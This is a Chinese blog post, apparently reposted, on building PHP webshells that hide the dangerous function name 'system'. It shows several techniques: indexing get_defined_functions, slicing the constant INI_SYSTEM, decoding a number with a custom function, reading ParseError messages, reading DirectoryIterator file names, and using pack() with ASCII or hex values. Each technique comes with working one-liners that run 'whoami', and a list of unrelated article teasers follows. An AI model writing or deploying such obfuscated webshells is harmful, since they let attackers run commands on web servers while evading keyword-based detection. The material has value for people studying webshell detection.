浅谈 webshell 构造之如何获取恶意函数

前言

这篇文章主要是总结一下自己学习过的如何获取恶意函数的篇章,重点是在如何获取恶意函数

get_defined_functions

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

get_defined_functions — 返回所有已定义函数的数组

我们主要是可以通过这个获取危险的函数

比如

image-20240915094402427

 

比如

image-20240915094855885

 

当然还有许多,如何执行命令就很简单了

代码如下

ounter(lineounter(lineounter(lineounter(line<?php$a=(get_defined_functions());$a["internal"][516]("whoami");?>

image-20240915095621334

 

get_defined_constants

get_defined_constants — 返回所有常量的关联数组,键是常量名,值是常量值

那获取的常量是不是可以为我们所用呢?

image-20240915095940647

 

可以看到是有 system 关键字的,我们就可以直接去获取它的 key,然后截取不就是 system 了吗

代码如下

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line
<?php$a=get_defined_constants();
foreach ($a as $key => $value){if (substr($key,0,7)=="INI_SYS"){$x= strtolower(substr($key,4,6));$x("whoami");}
}
?>


image-20240915100659841

自定义方法

通过自定义的方法,从毫无头绪的数字获取到 system 函数,拿出广为流传的例子

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line<?phpfunction fun($a){    $s = ['a','t','s', 'y', 'm', 'e', '/'];    $tmp = "";    while ($a>10) {        $tmp .= $s[$a%10];        $a = $a/10;    }    return $tmp.$s[$a];}

现在还没有看出端倪,但是当你运行这串代码的时候​​​​​​​

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line<?phpfunction fun($a){    $s = ['a','t','s', 'y', 'm', 'e', '/'];    $tmp = "";    while ($a>10) {        $tmp .= $s[$a%10];        $a = $a/10;    }    return $tmp.$s[$a];}echo fun(451232);

image-20240915102934616

 

抛出异常截取字符串

这个手法也是比较特殊的

我们可以随便找一个异常类

比如 ParseError,然后再加上我们刚刚的自定义方法

ParseError 当解析 PHP 代码时发生错误时抛出,比如当 eval() 被调用出错时。

它的一些属性和方法​​​​​​​

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line/* 继承的属性 */protected string $message = "";private string $string = "";protected int $code;protected string $file = "";protected int $line;private array $trace = [];private ?Throwable $previous = null;/* 继承的方法 */public Error::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)final public Error::getMessage(): stringfinal public Error::getPrevious(): ?Throwablefinal public Error::getCode(): intfinal public Error::getFile(): stringfinal public Error::getLine(): intfinal public Error::getTrace(): arrayfinal public Error::getTraceAsString(): stringpublic Error::__toString(): stringprivate Error::__clone(): void

可以看到都是基础父类的​​​​​​​

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineException::__construct — 异常构造函数Exception::getMessage — 获取异常消息内容Exception::getPrevious — 返回前一个 ThrowableException::getCode — 获取异常代码Exception::getFile — 创建异常时的程序文件名称Exception::getLine — 获取创建的异常所在文件中的行号Exception::getTrace — 获取异常追踪信息Exception::getTraceAsString — 获取字符串类型的异常追踪信息Exception::__toString — 将异常对象转换为字符串Exception::__clone — 异常克隆

根据这些思路来了,我们如果能够获取报错内容,那不就是隐含的获取了恶意函数吗

代码如下​​​​​​​

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line<?phpfunction fun($a){    $s = ['a','t','s', 'y', 'm', 'e', '/'];    $tmp = "";    while ($a>10) {        $tmp .= $s[$a%10];        $a = $a/10;    }    return $tmp.$s[$a];}$a = new ParseError(fun(451232));echo $a->getMessage();

image-20240915103542956

 

DirectoryIterator

The DirectoryIterator class provides a simple interface for viewing the contents of filesystem directories.

它的一些方法

  • DirectoryIterator::__construct — Constructs a new directory iterator from a path

  • DirectoryIterator::current — Return the current DirectoryIterator item

  • DirectoryIterator::getBasename — Get base name of current DirectoryIterator item

  • DirectoryIterator::getExtension — Gets the file extension

  • DirectoryIterator::getFilename — Return file name of current DirectoryIterator item

  • DirectoryIterator::isDot — Determine if current DirectoryIterator item is '.' or '..'

  • DirectoryIterator::key — Return the key for the current DirectoryIterator item

  • DirectoryIterator::next — Move forward to next DirectoryIterator item

  • DirectoryIterator::rewind — Rewind the DirectoryIterator back to the start

  • DirectoryIterator::seek — Seek to a DirectoryIterator item

  • DirectoryIterator::__toString — Get file name as a string

  • DirectoryIterator::valid — Check whether current DirectoryIterator position is a valid file

其中大概看一下,其实

DirectoryIterator::getFilename 就有利用的可能

DirectoryIterator::getFilename — Return file name of current DirectoryIterator item

看一下官方的例子​​​​​​​

ounter(line<?php$dir = new DirectoryIterator(dirname(__FILE__));foreach ($dir as $fileinfo) {    echo $fileinfo->getFilename() . "\n";}?>

以上示例的输出类似于:​​​​​​​

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(line...apple.jpgbanana.jpgindex.phppear.jpg

那岂不是我们如果可以控制自己的文件名或者目录,那不就构造出来了吗

代码如下​​​​​​​

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line<?php// 创建FilesystemIterator实例$iterator = new FilesystemIterator(dirname(__FILE__));foreach ($iterator as $item) {    // 输出文件和目录的属性    echo $item->getFilename() . "\n";}?>

image-20240915104708485

 

运行结果

image-20240915104756772

 

确实是获取到了

pack

这个函数很有意思的

pack — 将数据打包成二进制字符串

可以构造出字符串

pack(string$format, mixed...$values): string

将输入参数打包成 format 格式的二进制字符串。

这个函数的思想来自 Perl,所有格式化代码(format)的工作原理都与 Perl 相同。但是,缺少了部分格式代码,比如 Perl 的 “u”。

注意,有符号值和无符号值之间的区别只影响函数 unpack(),在那些使用有符号和无符号格式代码的地方 pack() 函数产生相同的结果。

看了一下大概,再看下官方的例子

这是一些它的格式

image-20240915105051397

 

示例 #1 *pack()* 范例​​​​​​​

ounter(line<?php$binarydata = pack("nvc*", 0x1234, 0x5678, 65, 66);?>

输出结果为长度为 6 字节的二进制字符串,包含以下序列 0x12, 0x34, 0x78, 0x56, 0x41, 0x42。

那我们按照构造出 system 的思路

ounter(lineounter(lineounter(lineounter(lineounter(line
<?phpecho pack("C6", 115, 121, 115, 116, 101, 109);
echo pack("H*", "73797374656d");?>

​​​​​​​

这两个结果都是 system

  • "C6" 是格式字符串,其中 C 表示将后续的六个参数视为无符号字符(即 ASCII 字符),6 表示有六个字符。

  • 传入的参数

    115, 121, 115, 116, 101, 109

    是 ASCII 码值。

    • 115 对应的字符是 s

    • 121 对应的字符是 y

    • 115 对应的字符是 s

    • 116 对应的字符是 t

    • 101 对应的字符是 e

    • 109 对应的字符是 m

    • ounter(line

构造出来的就是 system

  • "H*" 是格式字符串,其中 H 表示将后续传递的参数视为十六进制字符串,* 表示任意长度。

  • 73797374656d

    是一个十六进制表示的字符串。将其转换为 ASCII 字符:

    构造出来的也是system

    • 73 是 s

    • 79 是 y

    • 73 是 s

    • 74 是 t

    • 65 是 e

    • 6d 是 m

    • ounter(line

img

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/pingmian/87529.shtml
繁体地址,请注明出处:http://hk.pswp.cn/pingmian/87529.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Python 单例模式与魔法方法:深度解析与实践应用

在 Python 编程领域,设计模式解决常见问题的通用方案,而魔法方法则是 Python 语言赋予类强大功能的特殊接口。单例模式和魔法方法看似独立,实则紧密关联,魔法方法常被用于实现单例模式。深入理解并熟练运用它们,能够帮助开发者编写出结构清晰、高效且具有高复用性的代码。…

pybind11 导出 C++ map 在 Python 层 get 访问慢的优化方案

pybind11 导出 C map 在 Python 层 get 访问慢的优化方案 问题描述 通过 pybind11 导出 C 的 std::map 或 std::unordered_map&#xff0c;在 Python 代码中频繁使用 get 方法访问 value 时&#xff0c;性能非常低下。其主要原因是&#xff1a; pybind11 的 map 绑定会导致每次…

RTC实时时钟DS1339U-33国产替代FRTC1339M

FRTC1339M是一款实时时钟&#xff08;RTC&#xff09;芯片&#xff0c;由NYFEA徕飞公司制造。 FRTC13399M串行实时时钟是一种低功耗的时钟日期设备&#xff0c;具有两个可编程的每日时间警报和一个可编程的方波输出。通过2线双向总线进行串行地址和数据传输。时钟/日期提供秒、…

网络常用端口号归纳

ICMP端口号&#xff1a;1IGMP端口号&#xff1a;2TCP端口号&#xff1a;6UDP端口号&#xff1a;17FTP端口号&#xff1a;20(控制信息传输)、21&#xff08;数据传输&#xff09;SSH端口号&#xff1a;22Telnet端口号&#xff1a;23SMTP端口号&#xff1a;25IPV6端口号&#xff…

Agent learn

1.人物设定&#xff1a; 1.1塑造智能体的思维能力与问题拆解与拆解分析能力 1.2个性化&#xff1a;输出预期输出示例&#xff08;设定智能体的-》性格&#xff0c;语言风格&#xff09; 1.3插件&#xff0c;调用工具 1.4可设定结构化表达 1.5调优 1.6常见问题&#xff1a; …

五层协议介绍

层次核心功能典型协议/设备应用层为用户应用程序提供网络服务接口&#xff08;如文件传输、电子邮件、网页浏览&#xff09;HTTP、FTP、SMTP、DNS、SSH传输层提供端到端的可靠或不可靠数据传输&#xff0c;处理流量控制和差错恢复TCP&#xff08;可靠&#xff09;、UDP&#xf…

gin框架 中间件 是在判断路由存在前执行还是存在后执行的研究

最近有个需求&#xff0c;就是发现我们的验签路由中间件会在判断路由是否存在前执行。我们期望是gin框架先自己判断路由中间件是否存在&#xff0c;存在了再走后面的中间件&#xff0c;不存在直接返回404.这样能节省一定的资源。 研究了一下gin框架的源码&#xff0c; 先说一下…

AGV 无人叉车关键技术问题解析:精准定位算法 / 安全避障逻辑 / 系统对接协议全方案

AGV无人叉车作为智能物流的核心装备&#xff0c;在落地时常面临定位漂移、系统兼容性差、避障失灵等痛点。本文深度解析5大高频问题成因与解决方案&#xff0c;助企业规避运营风险&#xff0c;提升效率。 一、定位导航问题&#xff1a;行驶路径偏移怎么办&#xff1f; 1.典型…

AI Agent意图识别

意图识别&#xff1a;多维度拆解 意图识别是人机对话系统&#xff08;Conversational AI&#xff09;的“大脑皮层”&#xff0c;负责理解用户言语背后的真实目的。它将用户的自然语言输入映射到一个预定义的意图类别上。可以说&#xff0c;意图识别的准确性&#xff0c;直接决…

.net 8 项目 一天快速入门

这里有一个解决方案 这里有一个接口类的项目 这会呢如果还想在建一个项目 我们在解决方案这里右键,添加,新建项目 点击 我现在要建立一个类库,所以就搜一下类库,这里的第一个就是我们需要创建的类库 起个名字,计算类 进来了 可以看到这里有多了一个项目,但是他们…

语音大模型速览(一)F5-TTS

F5-TTS: A Fairytaler that Fakes Fluent and Faithful Speech with Flow Matching 论文链接&#xff1a;https://arxiv.org/pdf/2410.06885代码链接&#xff1a;https://SWivid.github.io/F5-TTS/ 一段话总结 本文提出了 F5-TTS&#xff0c;一种基于流匹配和扩散 Transform…

Codeforces 2021 C Those Who Are With Us

[Problem Discription]\color{blue}{\texttt{[Problem Discription]}}[Problem Discription] 给定一个 nmn \times mnm 的表格 ai,ja_{i,j}ai,j​&#xff0c;你可以恰好进行一次如下操作&#xff1a; 选择一个格点 (r,c)(r,c)(r,c)。对于所有满足 iririr 或者 jcjcjc 的格点 (…

chrome插件合集

最近一段时间呢(不到一年)&#xff0c;实现了大概二十几个chrome插件。很多人不知道的是&#xff0c;其实开发插件很解压&#xff0c;就好像是我喜欢沿着公园的小路散步一样&#xff0c;每开发一个插件带给我的成就感和快乐都是独特的。我依然记得自己开发出第1个插件时的快乐&…

【机器学习深度学习】模型微调的基本概念与流程

目录 前言 一、什么是模型微调&#xff08;Fine-tuning&#xff09;&#xff1f; 二、预训练 vs 微调&#xff1a;什么关系&#xff1f; 三、微调的基本流程&#xff08;以BERT为例&#xff09; 1️⃣ 准备数据 2️⃣ 加载预训练模型和分词器 3️⃣ 数据编码与加载 4️…

大语言模型预训练数据——数据采样方法介绍以GPT3为例

大语言模型预训练数据——数据采样方法介绍以GPT3为例一、数据采样核心逻辑二、各列数据含义一、数据采样核心逻辑 这是 GPT - 3 训练时的数据集配置&#xff0c;核心是非等比例采样——不按数据集原始大小分配训练占比&#xff0c;而是人工设定不同数据集在训练中被抽取的概率…

针对同一台电脑,为使用不同 SSH Key 的不同用户分别设置 Git 远程仓库凭据的操作指南

一、准备工作 生成多对 SSH Key 为每个用户&#xff08;如“个人”、“公司”&#xff09;生成一对独立的 SSH Key。 示例&#xff08;在 Git Bash 或 Linux 终端中执行&#xff09;&#xff1a; # 个人 ssh-keygen -t rsa -b 4096 -C "personalexample.com" -f ~/.…

【V5.0 - 视觉篇】AI的“火眼金睛”:用OpenCV量化“第一眼缘”,并用SHAP验证它的“审美”

系列回顾&#xff1a; 在上一篇 《给AI装上“写轮眼”&#xff1a;用SHAP看穿模型决策的每一个细节》 中&#xff0c;我们成功地为AI装上了“透视眼镜”&#xff0c;看穿了它基于数字决策的内心世界。 但一个巨大的问题暴露了&#xff1a;它的世界里&#xff0c;还只有数字。 它…

Open3D 基于最大团(MAC)的点云粗配准

MAC 一、算法原理1、原理概述2、实现流程3、总结二、代码实现三、结果展示博客长期更新,本文最新更新时间为:2025年7月1日。 一、算法原理 1、原理概述 最大团(Maximal Cliques, MAC)法在点云配准中的应用,是近年来解决高离群值(outlier)和低重叠场景下配准问题的重要…

Science Robotics发表 | 20m/s自主飞行+避开2.5mm电线的微型无人机!

从山火搜救到灾后勘察&#xff0c;时间常常意味着生命。分秒必争的任务要求无人机在陌生狭窄环境中既要飞得快、又要飞得稳。香港大学机械工程系张富教授团队在Science Robotics(2025)发表论文“Safety-assured High-speed Navigation for MAVs”提出了微型无人机的安全高速导航…

【数据分析】如何在PyCharm中高效配置和使用SQL

PyCharm 作为 Python 开发者的首选 IDE&#xff0c;其 Professional 版本提供了强大的数据库集成功能&#xff0c;让开发者无需切换工具即可完成数据库操作。本文将手把手教你配置和使用 PyCharm 的 SQL 功能。 一、安装和配置 PyCharm 老生常谈&#xff0c;第一步自然是安装并…